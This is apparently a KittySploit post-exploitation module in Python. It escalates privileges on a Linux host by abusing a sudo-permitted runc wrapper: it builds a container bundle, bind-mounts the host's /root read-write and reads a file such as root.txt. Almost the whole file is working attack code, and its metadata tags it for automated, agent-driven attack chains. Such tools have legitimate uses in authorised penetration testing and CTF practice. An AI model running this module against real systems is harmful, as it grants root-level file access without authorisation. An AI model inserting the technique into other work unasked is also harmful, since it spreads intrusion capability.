runc Wrapper Bind-Mount Helper

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.post.linux.session import LinuxSessionMixin


class Module(Post, LinuxSessionMixin):
    __info__ = {
        "name": "runc Wrapper Bind-Mount Helper",
        "description": (
            "Builds a minimal runc bundle through a sudo-allowed wrapper, adds a bind mount "
            "for a host path, and optionally reads a target file from inside the container."
        ),
        "author": "KittySploit Team",
        "platform": Platform.LINUX,
        "session_type": [SessionType.SHELL, SessionType.SSH, SessionType.METERPRETER],
        "tags": ["linux", "post", "privesc", "runc", "container"],
    'agent': {
        'risk': 'intrusive',
        'effects': ['privilege_escalation', 'filesystem_write'],
        'expected_requests': 5,
        'reversible': False,
        'approval_required': True,
        'produces': ['risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': ['rce', 'shell', 'file_read'],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [],
         'consumes_capabilities': ['shell'],
         'option_bindings': {},
         'suggested_followups': []},
    },
    }

    wrapper_path = OptString("/opt/debug", "sudo-allowed runc wrapper path", True)
    workdir = OptString("/tmp/ks-runc-bundle", "Remote bundle directory", False)
    host_mount = OptString("/root", "Host path to bind mount into the container", False)
    container_mount = OptString("/host-root", "Container mountpoint for the host path", False)
    read_file = OptString("/host-root/root.txt", "File to read after container starts", False)
    container_id = OptString("ksdebug", "runc container id", False)
    stdin_prefix = OptString("", "Optional stdin prefix for wrapper prompts, e.g. 'sudo-pass\\nadmin-pass\\n'", False, advanced=True)
    execute = OptBool(False, "Actually run the generated runc commands; false prints the command plan only", False)

    @staticmethod
    def _sh(value: str) -> str:
        return "'" + (value or "").replace("'", "'\"'\"'") + "'"

    def _wrapped(self, args: str) -> str:
        prefix = str(self.stdin_prefix or "")
        command = f"sudo {self._sh(str(self.wrapper_path))} {args}"
        if prefix:
            return f"printf %s {self._sh(prefix)} | {command}"
        return command

    def _plan(self):
        wd = self._sh(str(self.workdir or "/tmp/ks-runc-bundle"))
        host_mount = self._sh(str(self.host_mount or "/root"))
        container_mount = str(self.container_mount or "/host-root")
        read_file = str(self.read_file or "")
        spec_cmd = self._wrapped("spec")
        run_cmd = self._wrapped(f"run {self._sh(str(self.container_id or 'ksdebug'))}")
        copy_bins = (
            f"for b in /bin/sh /usr/bin/sh /bin/cat /usr/bin/cat; do "
            f"if [ -x \"$b\" ]; then mkdir -p {wd}/rootfs$(dirname \"$b\"); cp \"$b\" {wd}/rootfs$b; fi; "
            f"done"
        )
        copy_libs = (
            f"for b in /bin/sh /usr/bin/sh /bin/cat /usr/bin/cat; do "
            f"if [ -x \"$b\" ]; then ldd \"$b\" 2>/dev/null | awk '{{for (i=1;i<=NF;i++) if ($i ~ /^\\//) print $i}}'; fi; "
            f"done | sort -u | while read lib; do mkdir -p {wd}/rootfs$(dirname \"$lib\"); cp \"$lib\" {wd}/rootfs$lib; done"
        )
        return [
            f"mkdir -p {wd}/rootfs/bin {wd}/rootfs/lib {wd}/rootfs/lib64 {wd}/rootfs/usr/bin",
            copy_bins,
            copy_libs,
            f"cd {wd} && {spec_cmd}",
            (
                "python3 - <<'PY'\n"
                "import json\n"
                "from pathlib import Path\n"
                f"cfg = Path({self._sh(str(self.workdir or '/tmp/ks-runc-bundle'))}) / 'config.json'\n"
                "data = json.loads(cfg.read_text())\n"
                "data.setdefault('process', {})['args'] = ['/bin/sh', '-c', 'cat "
                + read_file.replace("'", "'\"'\"'")
                + "; sleep 2']\n"
                "mounts = data.setdefault('mounts', [])\n"
                "mounts.append({'type':'bind','source':"
                + host_mount
                + ",'destination':'"
                + container_mount.replace("'", "")
                + "','options':['rbind','rw']})\n"
                "cfg.write_text(json.dumps(data, indent=2))\n"
                "PY"
            ),
            f"cd {wd} && {run_cmd}"]

    def run(self):

        if not self.linux_require_linux():
            return False

        commands = self._plan()
        print_info("runc wrapper command plan:")
        for command in commands:
            print_info(command)
        if not self.execute:
            print_warning("execute=false; commands were not run")
            return True
        ok = True
        for command in commands:
            output = self.linux_execute(command, pty=True)
            if output:
                print_info(output[:4000])
            if "not found" in (output or "").lower() or "error" in (output or "").lower():
                ok = False
        return ok